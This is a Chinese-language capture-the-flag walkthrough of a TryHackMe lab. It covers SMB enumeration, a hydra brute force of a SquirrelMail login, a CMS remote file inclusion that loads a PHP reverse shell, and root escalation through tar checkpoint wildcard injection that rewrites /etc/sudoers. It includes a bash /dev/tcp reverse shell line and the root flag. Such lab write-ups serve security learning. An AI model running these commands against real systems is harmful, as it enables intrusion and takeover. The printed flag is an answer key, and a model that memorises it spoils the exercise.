端口扫描

SMB服务

发现有POP3和IMAP服务,感觉大概率和邮件有关,还是第一次接触这样的靶机

问Miles的邮箱密码,嘶没什么思路,一开始还用hydra来爆破IMAP端口,发现好像不行,看了下THM的提示,Enumerate Samba

于是试着用enum4linux来枚举SMB服务

kali中enum4linux ip

发现一个共享anonymous可以访问

smbclient //ip/共享 进行连接

ls发现了一个文本和一个logs文件夹

把全部get到本地,如get attention.txxt

总之就是所有人的密码被改了什么之类的

log的内容就很吸引人了,像是用户名(密码?)

log2和3都是空的,,,

Web

到这里的线索似乎断了,因为不知道这个用于什么的,感觉方向太多,又是IMAP又是POP3什么的。先进入80的WEB端口看看

就这么一个界面,啥都没有,试着用gobuster爆破下目录

gobuster经常性感觉会出一些网络问题导致丢包。。。

找到个/admin的目录,进去看看,发现访问不了

试了几个发现就squirrelmail能访问,进去是个登录界面

想到了刚刚获得的log1,并且,在之前的SMB扫描的时候,我们发现还有个共享的名字叫做milesdyson,应该就是他的用户名

所以试着用hydra来爆破密码

还是一样,burpsuite先抓个POST的凭据,报错提示是“User or password incorrect.”

所以是:

hydra -l milesdyson -P log1.txt 10.10.96.167 http-post-form  "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."

一开始,我填的路径是login.php,后来发现登录失败的界面变成了redirect.php,看来这也是个该的点。hydra应该是通过报错界面来判定的。

成功登录.

进来发现是一个类似邮箱管理系统,发现一封密码重置邮件(其他两封都是无关紧要的邮件),点进看看

找到了他SMB的密码,试着连接

发现几个PDF文件,发现都get不下来,CD进 notes看看。发现一个important文本,get下来

发现这么几行字

看样子是个测试中的CMS,进入看看

原来靶机的主人公又是电影角色,THM设计的这种彩蛋还是挺有意思的233

所以要求的隐藏目录就是这个。然后THM的下一个问题是远程包含漏洞,又没什么思路了(悲,偷瞟一眼WP

是在这个目录下再进行目录扫描

gobuster dir -u http://10.10.96.167/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

扫到一个/administrator目录

发现是一个CMS

Getshell

试着搜一下现有的漏洞

按样子是文件包含,符合THM给的提示

locate php/webapps/25971.txt
cat /usr/share/exploitdb/exploits/php/webapps/25971.txt

应该是可以远程文件包含,想试着包含个反向shell的马,创建一个PHP文件,利用https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

然后将第49,50行的IP和端口改一下

python -m http.server开启一个本地服务器

nc -lvnp 1234开启监听

然后进行文件包含:

成功建立shell

在/home/milesdyson目录找到user.txt

但是权限不够进入/root

接下来应该就是提权的事了

提权

sudo -l发现用不了,想试试看计划任务

cat /etc/crontab

发现一个以root身份运行的备份任务

那就好办了再来一个反向shell

kali中nc -lvnp 1235再开启一个监听

在shell中echo “/bin/bash -i >& /dev/tcp/10.11.38.245/1235 0>&1” >> backup.sh

嘶,发现没有权限,寄,就感觉没这么简单。。。

然后又没思路了,看下WP

看来不能更改这个脚本的话只能利用它了,大概是把/var/www/html这个目录下得到文件打包,WP的做法是这样的,在/var/www/html路径下

echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > pavan.sh
echo "/var/www/html" > "--checkpoint-action=exec=sh pavan.sh"
echo "/var/www/html" > --checkpoint=1

这个脚本的大概意思是,创建一个名为pavan.sh的脚本,然后创建一个检查点,只要经过这个检查点就会执行pavan.sh这个脚本,第三行是创建检查点1.

等一会儿让脚本自动执行

发现有权限了,可以以root身份执行命令

sudo cat /root/root.txt

3f0372db24753accc7179a282cd6a949

碎碎念

一个看似难度不算很大的靶机,但是细节还是很多,然后Linux中的checkpoint之前也不知道,感觉得去深入了解学习下,还有一些像是SMB服务什么的。。。

小小记录一下

在gtfobins上也有相应的用法